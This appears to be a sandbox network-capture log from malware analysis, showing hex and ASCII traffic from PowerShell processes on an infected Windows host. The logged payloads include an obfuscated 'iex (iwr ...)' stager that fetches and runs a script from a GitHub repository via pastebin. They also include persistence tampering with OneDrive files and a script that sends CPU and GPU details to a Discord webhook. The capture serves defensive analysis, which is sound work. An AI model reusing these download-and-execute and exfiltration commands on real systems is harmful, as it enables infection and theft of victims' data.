2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 Data Ascii: 0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84
2024-10-15 13:59:34 UTC	1378	IN	Data Raw: 34 37 2c 30 2c 39 39 2c 30 2c 33 32 2c 30 2c 33 34 2c 30 2c 31 31 32 2c 30 2c 31 31 31 2c 30 2c 31 31 39 2c 30 2c 31 30 31 2c 30 2c 31 31 34 2c 30 2c 31 31 35 2c 30 2c 31 30 34 2c 30 2c 31 30 31 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 33 32 2c 30 2c 34 35 2c 30 2c 39 39 2c 30 2c 31 31 31 2c 30 2c 31 30 39 2c 30 2c 31 30 39 2c 30 2c 39 37 2c 30 2c 31 31 30 2c 30 2c 31 30 30 2c 30 2c 33 32 2c 30 2c 31 31 32 2c 30 2c 31 31 31 2c 30 2c 31 31 39 2c 30 2c 31 30 31 2c 30 2c 31 31 34 2c 30 2c 31 31 35 2c 30 2c 31 30 34 2c 30 2c 31 30 31 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 34 35 2c 30 2c 31 31 39 2c 30 2c 31 30 35 2c 30 2c 31 31 30 2c 30 2c 31 30 30 2c 30 2c 31 31 31 Data Ascii: 47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111
2024-10-15 13:59:34 UTC	1378	IN	Data Raw: 31 30 2c 32 33 39 2c 31 37 2c 31 35 30 2c 31 39 34 2c 32 31 32 2c 32 31 36 2c 38 33 2c 31 33 33 2c 32 34 2c 31 37 2c 37 33 2c 32 2c 30 2c 30 2c 39 2c 30 2c 30 2c 31 36 30 2c 38 39 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 32 33 37 2c 34 38 2c 31 38 39 2c 32 31 38 2c 36 37 2c 30 2c 31 33 37 2c 37 31 2c 31 36 37 2c 32 34 38 2c 32 30 38 2c 31 39 2c 31 36 34 2c 31 31 35 2c 31 30 32 2c 33 34 2c 36 31 2c 30 2c 30 2c 30 2c 31 30 30 2c 30 2c 30 2c 30 2c 30 2c 33 31 2c 30 2c 30 2c 30 2c 32 32 2c 30 2c 30 2c 30 2c 38 33 2c 30 2c 31 32 31 2c 30 2c 31 31 35 2c 30 2c 31 31 36 2c 30 2c 31 30 31 2c 30 2c 31 30 39 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 33 32 2c 30 2c 34 30 2c 30 2c 36 37 2c 30 2c 35 38 2c 30 2c 39 32 2c 30 2c 38 37 2c 30 2c 31 30 35 2c 30 Data Ascii: 10,239,17,150,194,212,216,83,133,24,17,73,2,0,0,9,0,0,160,89,0,0,0,49,83,80,83,237,48,189,218,67,0,137,71,167,248,208,19,164,115,102,34,61,0,0,0,100,0,0,0,0,31,0,0,0,22,0,0,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,40,0,67,0,58,0,92,0,87,0,105,0
2024-10-15 13:59:34 UTC	1378	IN	Data Raw: 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 35 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 31 37 37 2c 32 32 2c 31 30 39 2c 36 38 2c 31 37 33 2c 31 34 31 2c 31 31 32 2c 37 32 2c 31 36 37 2c 37 32 2c 36 34 2c 34 36 2c 31 36 34 2c 36 31 2c 31 32 30 2c 31 34 30 2c 32 39 2c 30 2c 30 2c 30 2c 31 30 34 2c 30 2c 30 2c 30 2c 30 2c 37 32 2c 30 2c 30 2c 30 2c 31 32 37 2c 31 30 35 2c 31 39 34 2c 32 32 34 2c 32 31 37 2c 38 38 2c 32 34 38 2c 37 35 2c 31 33 38 2c 32 35 32 2c 32 36 2c 36 30 2c 36 36 2c 34 39 2c 34 2c 37 32 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 29 0a 24 72 65 63 6f 6e 73 74 72 75 Data Ascii: 108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,0,0,0,0,0,0,57,0,0,0,49,83,80,83,177,22,109,68,173,141,112,72,167,72,64,46,164,61,120,140,29,0,0,0,104,0,0,0,0,72,0,0,0,127,105,194,224,217,88,248,75,138,252,26,60,66,49,4,72,0,0,0,0,0,0,0,0,0,0,0,0)$reconstru
2024-10-15 13:59:34 UTC	194	IN	Data Raw: 20 22 46 61 69 6c 65 64 20 74 6f 20 73 65 6e 64 20 6d 65 73 73 61 67 65 2e 20 45 72 72 6f 72 3a 20 24 5f 22 0a 7d 0a 23 73 74 61 72 74 20 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 20 2d 61 72 67 73 20 27 69 65 78 20 28 69 77 72 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 70 79 6c 64 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a 0a 7d 0a Data Ascii: "Failed to send message. Error: $_"}#start powershell -windowstyle h -args 'iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)'}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	172.67.19.24	443	5660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:52 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 13:59:53 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 13:59:52 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 442 Last-Modified: Tue, 15 Oct 2024 13:52:30 GMT Server: cloudflare CF-RAY: 8d30550c2d7c2e51-DFW
2024-10-15 13:59:53 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 13:59:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	162.159.138.232	443	7744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:53 UTC	311	OUT	POST /api/webhooks/1295171900019966004/KRGDAVzqdqMZILdh_WVWyqLwT2_aVjXOXnoEnaoZ5xZY_kNOmMNm2yrdQTKMOzXSXWSI HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 213 Connection: Keep-Alive
2024-10-15 13:59:53 UTC	213	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 2a 2a 6a 6f 6e 65 73 2a 2a 20 68 61 73 20 6a 6f 69 6e 65 64 20 2d 20 73 74 6d 5c 6e 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 59 5f 35 56 44 47 55 4d 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 22 0d 0a 7d Data Ascii: { "content": "user has joined - stm\n----------------------------------\nGPU: Y_5VDGUM\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4"}
2024-10-15 13:59:53 UTC	1255	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Oct 2024 13:59:53 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1729000794 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hWnV7TPvkg5LZKvrTXlOvT%2BEdxRSZVjQR2VHBvQhjXYCguoQolUzOZJtES0lyG%2BnICdJwdZcwfOQEn97tnR8NAh1SKuQGHTtgI%2FOJJHa3khkNkjOBTA3SH4bdh29"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=b96900f5ee5ff634769fa70e31a8093c5cc2c686-1729000793; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=B9oNm1iH5MaqkqTXcdybFvpTlS5n6AwSsI_dOXK08Wk-1729000793263-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d30550d4c198d2d-DFW
2024-10-15 13:59:53 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	185.199.109.133	443	5660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 13:59:54 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 13:59:54 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "085e232a893b000bbbc5e224886d89e33401e064c6e72827d0c19fb0195af2ea" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B26C:32E28B:21F9020:25C3557:670E73A0 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 13:59:54 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210162-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000794.418035,VS0,VE110 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 188e010a3a0b863dba1cbcbf5a537530e2b0c590 Expires: Tue, 15 Oct 2024 14:04:54 GMT Source-Age: 0
2024-10-15 13:59:54 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 13:59:54 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: ,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,
2024-10-15 13:59:54 UTC	1378	IN	Data Raw: 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 31 31 36 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 36 39 2c 30 2c 31 32 30 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 31 31 35 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 33 32 2c 30 2c 33 36 2c 30 2c 31 30 31 2c 30 2c 31 31 30 2c 30 2c 31 31 38 2c 30 2c 35 38 2c 30 2c 31 31 31 2c 30 2c 31 31 35 2c 30 2c 33 32 2c 30 2c 31 30 35 2c 30 2c 38 37 2c 30 2c 31 31 34 2c 30 2c 35 39 2c 30 2c 33 32 2c 30 2c 39 39 2c 30 2c 39 37 2c 30 2c 31 30 38 2c 30 2c 31 30 38 2c 30 2c 31 30 35 2c 30 2c 38 34 2c 30 2c 34 30 2c 30 2c 38 37 2c 30 2c 37 33 2c 30 2c 37 38 2c 30 2c 36 38 2c 30 2c 37 39 2c 30 2c 38 37 2c 30 2c 38 33 2c 30 2c 39 35 2c 30 2c 37 38 2c 30 2c 38 34 2c 30 2c 33 32 2c 30 2c 31 31 32 2c Data Ascii: ,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,
2024-10-15 13:59:54 UTC	1378	IN	Data Raw: 31 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 34 38 2c 30 2c 35 30 2c 30 2c 34 39 2c 30 2c 34 35 2c 30 2c 35 37 2c 30 2c 34 39 2c 30 2c 35 33 2c 30 2c 35 32 2c 30 2c 35 31 2c 30 2c 35 36 2c 30 2c 34 38 2c 30 2c 35 34 2c 30 2c 35 37 2c 30 2c 34 35 2c 30 2c 35 31 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 30 2c 30 2c 35 31 2c 30 2c 35 34 2c 30 2c 35 31 2c 30 2c 35 37 2c 30 2c 35 32 2c 30 2c 35 32 2c 30 2c 34 35 2c 30 2c 34 39 2c 30 2c 34 38 2c 30 2c 34 38 2c 30 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 37 37 2c 30 2c 30 2c 30 2c 34 39 2c 38 33 2c 38 30 2c 38 33 2c 34 38 2c 32 34 31 2c 33 37 2c 31 38 33 2c 32 33 39 2c 37 31 2c 32 36 2c 31 36 2c 31 36 35 2c 32 34 31 2c 32 2c 39 36 2c 31 34 30 2c 31 35 38 2c 32 33 35 2c 31 37 32 2c 34 Data Ascii: 1,0,51,0,50,0,51,0,48,0,50,0,49,0,45,0,57,0,49,0,53,0,52,0,51,0,56,0,48,0,54,0,57,0,45,0,51,0,50,0,50,0,50,0,51,0,54,0,51,0,57,0,52,0,52,0,45,0,49,0,48,0,48,0,49,0,0,0,0,0,0,0,177,0,0,0,49,83,80,83,48,241,37,183,239,71,26,16,165,241,2,96,140,158,235,172,4
2024-10-15 13:59:54 UTC	1378	IN	Data Raw: 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 41 64 61 70 74 65 72 52 41 4d 2c 20 44 72 69 Data Ascii: cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-Object -Property Name, AdapterRAM, Dri
2024-10-15 13:59:54 UTC	618	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 22 40 0a 7d 20 7c 20 43 6f 6e 76 65 72 74 54 6f 2d 4a 73 6f 6e 0a 0a 23 20 53 65 6e 64 20 74 68 65 20 50 4f 53 54 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 77 65 62 68 6f 6f 6b 20 55 52 4c 0a 74 72 79 20 7b 0a 20 20 20 20 49 6e 76 6f 6b 65 2d 52 65 73 74 4d 65 74 68 6f 64 20 2d 55 72 69 20 24 77 65 62 68 6f 6f 6b 55 72 6c 20 2d 4d 65 74 68 6f 64 20 50 6f 73 74 20 2d 42 6f 64 79 20 24 70 61 79 6c 6f 61 64 20 2d 43 6f 6e 74 65 6e 74 54 79 70 65 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 20 20 20 20 57 72 69 74 65 2d 4f 75 74 70 75 74 20 22 4d 65 73 73 61 67 65 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 0a 7d 20 63 61 74 63 68 20 7b 0a 20 20 20 20 57 Data Ascii: ======================"@} \| ConvertTo-Json# Send the POST request to the webhook URLtry { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Output "Message sent successfully."} catch { W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	172.67.19.24	443	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:01 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-10-15 14:00:01 UTC	397	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 14:00:01 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 451 Last-Modified: Tue, 15 Oct 2024 13:52:30 GMT Server: cloudflare CF-RAY: 8d30553fbc872cb0-DFW
2024-10-15 14:00:01 UTC	139	IN	Data Raw: 38 35 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 72 61 77 2e 67 69 22 2b 22 74 68 75 62 22 2b 22 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 22 2b 22 6f 6d 2f 4e 65 22 2b 22 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 72 61 79 67 77 69 34 22 2b 22 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 2e 74 78 74 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 85calliT(WINDOWS_NT ("raw.gi"+"thub"+"usercontent.c"+"om/Ne"+"th3N/na9ow3495raygwi4"+"gyrhuawerawera/main/gaber.txt") -usebasicparsing)
2024-10-15 14:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	185.199.109.133	443	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:02 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 14:00:03 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7508 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "085e232a893b000bbbc5e224886d89e33401e064c6e72827d0c19fb0195af2ea" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B26C:32E28B:21F9020:25C3557:670E73A0 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:03 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210077-DFW X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1729000803.008550,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 5fb2841b8dc086f1158375955679e48c06408ce1 Expires: Tue, 15 Oct 2024 14:05:03 GMT Source-Age: 8
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 72 6d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 20 2d 46 6f 72 63 65 0a 73 6c 65 65 70 20 35 0a 0a 0a 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 5c 46 69 6c 65 53 79 6e 63 5c 42 65 67 69 6e 53 79 6e 63 2e 6c 6e 6b 22 0a 69 66 20 28 2d 4e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 67 6f 6f 67 6f 6f 67 61 61 67 61 61 29 29 20 7b 0a 72 6d 20 24 65 6e 76 3a 74 6d 70 5c 6f 6e 65 64 72 69 76 65 66 69 6c 65 73 79 6e 63 2e 64 6c 6c 20 2d 66 6f 72 63 65 0a 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 Data Ascii: sleep 5rm "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemPropert
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 2c 30 2c 30 2c 37 34 2c 30 2c 39 2c 30 2c 34 2c 30 2c 32 33 39 2c 31 39 30 2c 31 36 37 2c 38 34 2c 31 33 30 2c 34 32 2c 34 31 2c 38 39 2c 32 30 38 2c 31 38 39 2c 34 36 2c 30 2c 30 2c 30 2c 36 35 2c 32 34 38 2c 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 31 36 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 33 32 2c 31 31 36 2c 32 36 2c 30 2c 31 30 32 2c 30 2c 31 31 31 2c 30 2c 31 31 34 2c 30 2c 31 30 32 2c 30 2c 31 30 35 2c 30 2c 31 30 38 2c 30 2c 31 30 31 2c 30 2c 31 31 35 2c 30 2c 34 36 2c 30 2c 31 30 31 2c 30 2c 31 32 30 2c 30 2c 31 30 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 38 36 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 2c 30 2c 32 38 2c 30 2c 30 2c 30 2c 35 32 2c 30 2c 30 2c 30 2c 30 2c Data Ascii: 